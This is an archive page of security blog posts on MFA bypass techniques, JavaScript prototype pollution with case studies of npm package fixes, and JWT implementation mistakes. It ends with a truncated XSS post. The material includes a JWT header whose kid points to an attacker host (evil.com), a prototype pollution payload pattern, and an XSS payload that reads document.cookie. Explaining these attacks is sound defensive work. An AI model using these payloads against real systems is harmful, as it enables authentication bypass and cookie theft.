Category Archives: pentests

Limitations of MFA and Common techniques to bypass MFA

A lesson learned from Uber and Reddit Security Incident

MFA is becoming increasingly popular as a means of combating rising identity theft through phishing and becoming compliant with identity and access management regulations. MFA has proved to be a simple but effective security control to reduce the risk of your organization. 

However, recent security incidents on Reddit and Uber, on the other hand, demonstrate MFA’s limitations. Furthermore, while participating in some security group discussions, I discovered that some security engineers are not fully aware of these limitations, which could jeopardize your organization regardless of whether you are using a third-party MFA or implementing your own MFA. In this article, we will attempt to detail the most common limitations of MFA that people have overlooked.

Some Limitation about MFA

Here are some MFA drawbacks that are frequently encountered.

MFA could reduce phishing attacks significantly, but could not eliminate them

MFA could be bypass even for the matured vendors

Misconfiguration and poor implementation may make your MFA useless

Email and SMS based MFA are not as secure as you expected

Limitation 1: MFA will NOT eliminate successful phishing attack

MFA makes it more difficult for hackers to gain access to networks and information systems if passwords or personal identification numbers (PINs) are compromised through phishing attacks or other means because MFA adds multiple factors , such as OTP, SMS Code, App PUSH,  for authentication besides the password and PINS. Because of this, many security administrators disregard other security measures or security training because they think that having MFA makes them immune to phishing attempts.

However, there are various ways that the multiple factors could be also vulnerable to phishing attacks and make you still vulnerable to succesful phishing attacks, the recent Uber security incidents and Reddit incidents are two good examples of it. Take the security breach for Uber as an example, though the compromised  Uber account was protected with multi-factor authentication, the attacker allegedly used an MFA Fatigue attack and pretended to be Uber IT support to convince the employee to accept the MFA requests so that they could launch a successful phishing attack.

Limitation 2: MFA could be bypassed, even for the matured vendors

Many MFA vendors claim that their MFA solutions are well-configured to prevent unauthorized authentication. In reality, there is no one-size-fits-all MFA solution to preventing unauthorized authentication. Many MFAs are still vulnerable to multiple methods of circumventing authentication security. Here are some common MFA bypass methods that has been used in the wild to bypass MFA 

1. AitM Phishing or Use of transparent reverse proxies

Different from the traditional phishing attacks, AitM (Adversary-in-the-middle) phishing or use of transparent reverse proxies does something different, it automatically proxies credentials (username and password) and to the real login page and even the MFA code to the real login page if MFA is enabled. When victime completes the MFA through the login page, the web page completes the login session and steals the session cookie through the proxy.  Once the attacker gets the session cookie, the attacker could login and bypass the MFA by making requests with the session cookie directly..  

According to Proofpoint, the use of transparent reverse proxies (TRPs) are growing popularity as more and more toolkits are available on the market, for such as, Evilginx2

2. Authentication code or OTP interception via email or SMS 

SMS, Email based MFA or other OTP based MFA  are popular MFA solutions used in security due to their simplicity. However, the authentication code could be intercepted by hackers through various ways. From the traditional social engineers to the most recent OTP interception bot,  an attacker shows how largely authentication code could be intercepted and used to bypass MFA.

Limitation 3: MFA protection could be useless due to flaws in pages that handle it

In many instances, the improper MFA implementation in your application allows hackers a way to get around the MFA authentication. Below are some cases where MFA could be bypassed due to flaws in MFA implementation.

Lack of rate limit control leads to brute force

The MFA authentication code or OTP code is typically 4 or 6 digits long. A hacker may use brute force to obtain the right OTP code if the application’s rate limit restriction was ineffective. 

Here are a few disclosure from hackerone

Bypass Slack Two Factor Authentication using Brute Force and Bypass Ubiquiti 2FA using Brute Force.

Buggy MFA  implementation leads to MFA bypass

MFA protection may be useless if the authentication code verification is faulty. These are a few instances of improper MFA  implementation that I have observed during penetration testing and learning from some public disclosure

An authentication code from a different user could be used by another user 

For instance, after logging into his own account, an attacker may obtain a valid OTP token for himself and use it to overcome MFA by authenticating the victim.

A prior session’s authentication code could be used repeatedly. 

Another frequent occurrence is the persistence of an authentication token created for a previous session after use. That implies that the MFA may be defeated if an attacker obtained any earlier authentication code.

Logic Error for MFA code verification

A public disclosure about 2FA bypass  shows a 2FA was bypassed when an user send an empty authentication code to the server

The situations just stated are but a few; in my opinion, there are many more implementation errors contributing to the failure of MFA.

Limitation 4: Email and SMS based MFA are not really sufficient

One misconception about MFA is that the security effects of various MFAs are the same because they all add extra layers of factor during authentication to protect account login. Because of this misunderstanding, many businesses opt for the most convenient method to implement, such as SMS or Email tokens as their MFA methods. 

The fact is that some are fundamentally more secure than others, while others are more practical. The graphic below could be used to show the various security effects of the most popular MFA technique. The weakest MFA methods are email-based and SMS-based MFA

Because an email address is not linked to a particular device, email based 2FA is the least secure of all methods. It is simple to obtain the authentication code from your email inbox because many MFA bypass methods presumptively involve email account breach for the victim. Besides Email based MFA, many security researches also show that using SMS based MFA could impose another risk factor for your organization.

Potential Methods to enhance your MFAs

MFAs have their limitations, but there are things we can do to lessen the effects of these restrictions.

  • Improve Security Awareness Training
  • Avoid using SMS or email-based MFA and opt for key-based MFA, is possible
  • Enforce Secure SDLC when implementing your own MFA
  • Ensure the MFA has a throttle or account lockout method enabled
  • Regularly audit your MFA login logs

Conclusion

Setting up MFA is still the best thing you can do to safeguard your account login, despite the limitations it has. But It is crucial to be aware of the limitations of MFA and to remember not to completely rely on its security whether you use it from a reputable provider or apply it yourself.

Prototype Pollution, an overlooked application security hole

Some well-known NPM packages, including ember.js, xmldom, loader-utlis and deep-object-diff, have recently been found to have a few prototype pollution vulnerabilities. I made the decision to investigate these vulnerabilities in order to see if there were any trends that we could identify and steer clear.

All of the NPM packages are open source, which allows us to evaluate where vulnerabilities were introduced and how they are remediated by reviewing the fixes. 

A brief Overview of Prototype Pollution Vulnerability

We may need to examine some fundamental concepts about JavaScript Prototype and how Prototype pollution vulnerabilities are introduced and how they could be exploited before we dig in to see if there are any common patterns in these vulnerable libraries.

What is Prototype in JavaScript

Every object in JavaScript has a built-in property, which is called its prototype. The prototype is itself an object, so the prototype will have its own prototype, making what’s called a prototype chain. The chain ends when we reach a prototype that has null for its own prototype.

The following code snippet defined an Object called Student, the prototype of the Student is Object and it has many predefined properties

One power of the Prototype is that it allows an object to inherit properties/attributes from its prototype. Under this case,  Student object could inherit and use all the predefined properties of its prototype Object.

Key takeaway 1:  an object could access the properties/attribute of its prototype due to the inheritance of Prototype. Under this example, the toString() function is defined by Student prototype Object and it could be accessed by any Student object.

Key takeaway 2:  An object could have many instance, they could shared the same Prototype properties 

Key takeaway 3: Meanwhile, JavaScript allows some Object attributes to be changed during runtime, that includes the prototype property; though overwriting the prototype of a default object is considered as a bad practice. 

How does prototype pollution occur and how to exploit them

As the term “prototype pollution” suggests, it happens when a hostile attacker has the ability to manipulate and alter an object’s prototype. Once an attacker could modify the object’s prototype,  all the instances that share the object prototype properties would be affected

Let us tweak the aforementioned code by modifying the toString() properties of the Object prototype to a customized function in order to clarify the explanation. 

When running the above code under the browser console, the studObj.toString() statement will be executed using the new toString() function once we update the toString() function of its Object prototype, and the same will be true for the newly generated object  {} since they both share the same Object Prototype.

If you look at the payload we used in the example above, you’ll see that it has three parts

Part 1: studObj.__proto__.__proto__.

This is intended to obtain the target Object.Prototype, you may see many more .__proto__. in the actual payloads if the prototype chain is very long.

Part 2: .toString 

Using this section, we may tell which function we wish to change or add to the Object.Prototype. In this example, we want to override the toString() function defined in the Object.Prototype

Part 3: = function() {return “I am changed”}

This part is used to set up the new value for the prototype property. 

In a nutshell, access to the Object.Prototype and the ability to modify or add its properties are required for a successful exploit. You may start to think how any app would allow these conditions to be met. In the next section, We will examine the four most current Prototype vulnerabilities to 1) see how the property pollution vulnerabilities are introduced into the codes and 2) see what sort of mitigation methods are employed to fix the prototype pollution.

Case studies for Prototype Pollution Vulnerability & Remediation

Case 1: Prototype Pollution Vulnerability in Ember.js < 4.4.3 (PR

Root Cause

Ember.js provides two functions EmberObject.setProperties or EmberObject.set to set properties of an object.

As there is no validation on the untrustPath variable, if an attacker defines the path to __proto__.__proto__.srcdoc, it would modify the property of the fundamental Object, which will affect all the objects inherited from it.

Mitigation

By referring to the remediation PR,  the mitigation method is to forbid specific keyword __proto__ and constructor to block a prototype chain access. 

Case 2: Potential Prototype Pollution vulnerability in xmldom < 0.7.7

Root Cause

The potential prototype pollution vulnerability (CVE-2022-37616) is caused when this library provides the following function to copy one DOM element to another. (I marked it as potential because a valid POC has not been provided and this copy is NOT performing a deep clone). 

Mitigation

The hasOwnProperty() method is used in this mitigation procedure (PR) to determine whether the src object has the requested property as its own property (as opposed to inheriting the Prototype property). The copy function will fail if the src attribute is inherited from its prototype to prevent a malicious user to access the Prototype Property

Case 3: Prototype Pollution in webpack loader-utils < 2.0.3

Root Cause

This potential vulnerability (CVE-2022-37601) was caused by the queryParse() function when parsing the query parameter and composing a new Object called result with the query parameter name and value.

Mitigation

The mitigation method is very straightforward by using Object.create(null) on objects created as Object.create(null) does NOT inherit from Object.prototype. It means the created Object is not able to access the Prototype Property

Case 4: Prototype Pollution in deep-object-diff

Root Cause

This weakness was introduced when two items were compared deeply and the difference between the two objects was returned as a new object. Due to the possibility that the difference contains prototype property and is under the attacker’s control. It enables the prototyping of pollution.

Mitigation

Similar to Case 3, the mitigation method is using Object.create(null) to create an object where Prototype property could not be inherited. 

When going through all the reported vulnerabilities, cit seems these vulnerabilities are likely to be introduced when following operation occurs

  1. Path assignment to set the property of an Object.  (Case 1, Case 3)
  2. Clone/Copy an object   (Case 2, Case 4)

The common mitigation method includes

  1. Create objects without prototypes inheritance Object.create(null) (case 3,case 4)
  2. Use hasOwnProperty()  function to check  whether a property is on your actual object or inherited via the prototype   (Case 2)
  3. Validate the user input with specific keyword filtering (Case 1)

Prototype Vulnerabilities, a much wider security issue

After reviewing several real-world examples of how prototype vulnerabilities could be developed and how to exploit them, I continued by examining some NPM open source libraries to determine whether prototype pollution is a widely ignored issue in the NPM open source libraries.

Without spending too much effort,  I discovered and verified that two open source libraries used for merging objects are vulnerable to Prototype vulnerability by scraping the source code under Github using specific patterns listed below. 

These two libraries appear to be rather dated though there are still hundreds of downloads every week, however I have contacted the maintainer but have not yet received a response.

All of these instances, in my opinion, are really the tip of the iceberg in terms of how JavaScript libraries are vulnerable to prototype pollution.

I see two possible explanations for why this vulnerability is so prevalent: 1) Given that this vulnerability is very recent, few developers appear to be completely aware of it. 2) At the moment, automation methods to find this kind of vulnerability are not very mature. 

Using JWT? You need avoid these implementation mistakes

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. JWT are widely used in authentication, authorization and information exchange. Among these use cases, the most common scenario for using JWT is for authorization purpose. Once a user is logged in, each subsequent request will include the JWT, allowing the user to access routes, services, and resources that are permitted with that token. You may start to ask why not using Session token. One reason is that the JWT is stateless compared with Session tokens, it means that the server side does not have to store the JWT in a centralized DB to perform the validation when a clients sends a request to the server, whereas, the server has to store the session cookies for validation purpose.

To understand the common implementation mistakes of JWT, we need first figure out the structure of the JWT token as most the implementation errors are caused by misunderstanding the structure of JWT token and how each component of JWT are used for.

Structure of JWT Token

A well-formed JWT consists of three concatenated Base64url-encoded strings, separated by dots (.):

  • Header : contains metadata about the type of token and the cryptographic algorithms used to secure its contents. For example
{
  "alg": "HS256",
  "typ": "JWT", 
  "kid": "path/value" //optional
}
  • Payload : contains verifiable security statements, such as the identity of the user and the permissions they are allowed. An example of the payload could be
{
  "username": "test@example.com",
  "id": "new user"
}
  • Signature : it is used to validate that the token is trustworthy and has not been tampered with. When you use a JWT. Signature is piece of encrypted data of the Header and Payload date by using certain encryption method (such as HMAC,SHA256) with a secret which should be residing on a server side.
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

After putting all them together, a JWT looks like

Common Implementation Error

JWT itself is considered as secure method. Most of the security issues discovered against JWT are caused by implementation mistakes.

Leak the secret key

JWT is created with a secret key and that secret key is private to you which means you will never reveal that to the public or inject inside the JWT token. However, sometimes, the developers could mistakenly leak the signing secret to public. For example, the JWT signing secret is stored on a client side javascript functions or stored on a public accessible files. As a consequence, an attacker could bypass the signature verification easily as the attacker could sign any payloads with the secret to put the server side signature validation in vain. Here is one example listed under Hackerone where the developers are adding hardcoded secret in the client side javascript file.

Using Predictable secret key

It is also possible that the developers are copying a piece of code from a sample code base when implementing the JWT on the server side or they are using a simple word (not randomly generated complex string) as the secret value when implementing the JWT on the server side . A brute force attack could easily extract the secret key as the attacker knows the algorithm, the payload with the original information and the resulting signature of the encrypted payload and header. One example listed under Hackerone shows how a developer is using the ‘secret’ as the secret when implementing the JWT on the server side.

Broken JWT Validation

There are numerous way how the JWT validation could be broken during insecure implementation. Here are some typical examples where a broken JWT validation could happen.

  • Not Validate Signature at all. Some developers implement the JWT validation in a wrong way, where they only decode the JWT payload part without validating the signature part before accepting the JWT as a valid token.
  • Not Validate the JWT correctly if None alg is provided. An attacker could or creates a token by setting alg (the signing algorithm) to None in the header. If the server side is NOT validating whether the None alg was really implemented when the JWT was generated. As a consequence, any JWT provided by the attacker with a None value to the alg will be treated as a valid token. To prevent this, the server side should check whether the alg value is the one when the JWT token is generated. If not, the JWT should be treated as an invalid.
  • Not Validate the JWT correctly when alg is changed to HS256 from RS256. HS256 is a symmetric encryption method, the server side is using the same key to generate and validate the JWT. Whereas, RS256 is an asymmetric encryption method, the JWT payload was signed with its private key and validated with the public key, which is known to the public. Now An attacker creates the token by setting the signing algorithm to a symmetric HS256 instead of an asymmetric RS256, leading the API to blindly verify the token using the HS256 algorithm using the public key as a secret key. Since the RSA public key is known, the attacker can correctly forge valid JWTs and bypass the validation method.

Lack of kid header parameter validation

The kid (key ID) Header Parameter is a hint indicating which key was used to secure the JWS. This parameter allows originators to explicitly signal a change of key to recipients. With the key identifier, the consumer of a JWT can retrieve the proper cryptographic key to verify the signature. This simple mechanism works well when both the issuer and consumer have access to the same cryptographic key store.

Since the attacker can modify the kid header parameter, attacker can supply any values in there when it is sent to the sever. If the server is not validating or sanitizing the kid value correctly, it could lead to severe damage.

For example, the kid value in the JWT header is specifying the location of the JWT secret to sign the JWT payload

{
  "alg": "HS256",
  "typ": "JWT", 
  "kid": "http://localhost:3000/vault/privKey.key"
}

For example, the kid value in the JWT header is specifying the location of the JWT secret to sign the JWT payload

{
  "alg": "HS256",
  "typ": "JWT", 
  "kid": "http://evil.com/privKey.key" //Private key supplied by the attacker
}

Now, if the attacker is providing his own private key to the kid parameter and adjust the JWT token, he would be able to generate any valid JWT token.

Other wrong implementation

The above implementation mistakes could lead to very severe security issues, for example, account hijacking and authentication bypass. There are some other implementation bad practice should be avoid when using JWT token.

  • Use JWT token as session cookie. Some applications are using JWT token as a session cookie and it could cause havoc. Let’s say you have a token and you revoke it due to a user logout or any other action, you could not really invalidate the token before its expiration has been reached unless you keep a DB to store these tokens and build a revocation list, which is not the intention of using a stateless JWT.
  • Leak the JWT in referrer header. It is common that a developer attaches the JWT in a URL, for example, user registering and password reset service, and the HTML page of the URL are loading some 3rd party web pages. As a consequence, the JWT could be leaked to 3rd party web pages via referer header if noreferrer is not probably deployed in the web application.

Conclusion

JWT are adopted by more and more applications over the web. If used correctly,  it could help you to build a robust and agile authentication, authorization and information key functions.However, if misused or implemented incorrectly, this technology may put entire systems at risk. This JWT Security Cheat Sheet provides an overview of all these best practices when using JWT in your applications.

Exploit XSS in <link rel=’canonical’> when characters < and > are filterred

In one of our customer’s website, the injection point is in <link rel=’canonical’ href=”> tag and it looks like something like

 <link rel=’cannoical’ href=’http://example.com/test.php?pid=<?php echo $_SERVER[‘QUERY_STRING’];>’>

The server will encode <, > and “, if you try http://example.com/test.php?pid=”<qss>, the response will be

<link rel="canonical" href='http://example.com/test.php?pid=&quot;&lt;qss&gt;' />

Under this case, using the following payload, you could exploit this XSS under IE7  and IE 8.

http://example.com/test.php?pid=’style=’x:expression(alert(document.cookie))’ t